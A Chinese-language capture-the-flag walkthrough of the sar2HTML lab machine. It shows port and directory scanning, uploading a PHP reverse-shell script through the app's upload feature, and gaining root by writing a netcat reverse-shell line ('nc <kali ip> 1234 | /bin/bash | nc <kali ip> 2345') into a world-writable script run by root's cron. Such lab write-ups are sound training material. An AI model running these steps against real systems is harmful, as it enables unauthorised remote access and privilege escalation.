靶场练习（2）：sar2HTML

靶机ip：172.16.33.13

突破

端口扫描

sudo nmap -p- 172.16.33.13 --open

结果如下：

特定端口扫描

sudo nmap -p80 -sV -A 172.16.33.13

结果如下：

针对80端口

对其进行路径扫描：

dirsearch -u http://172.16.33.13

结果如下：

对其进行文件扫描：

dirsearch -u http://172.16.33.13 -f -e txt,php,html.pdf

结果如下：

进入http://172.16.33.13/robots.txt，发现关键路径sar2HTML：

进入http://172.16.33.13/sar2HTML，发现新系统：

点击“New”后，发现一个文件上传功能，试试上传一个反弹php脚本，点击“Upload report”后再点击“Go to Plotting Page”，跳转界面后随便点击几个选项之后点击“Plot”，发现“sarDATA”关键路径：

访问http://172.16.33.13/sar2HTML/sarDATA，发现路径uPLOAD/

点击进入后发现刚才上传的php反弹脚本，kali本地端做好监听，点击运行脚本，突破成功。

nc -nvlp 1234

提权

升级终端

/usr/bin/script -qc /bin/bash /dev/null

通过root周期执行的文件进行提权

查看是否有root周期执行的文件：

cat /etc/crontab

结果如下，发现finally.sh：

查看finally.sh的权限，发现它仅允许root用户进行写操作

查看其内容发现是运行write.sh脚本，而write.sh其他用户是可写的

将sh脚本写入其中，本地端做好两个端口的监听

#！/bin/sh
nc <kali本地ip> 1234 | /bin/bash | nc <kali本地ip> 2345

反弹成功，查看id：

提权成功，打靶完成。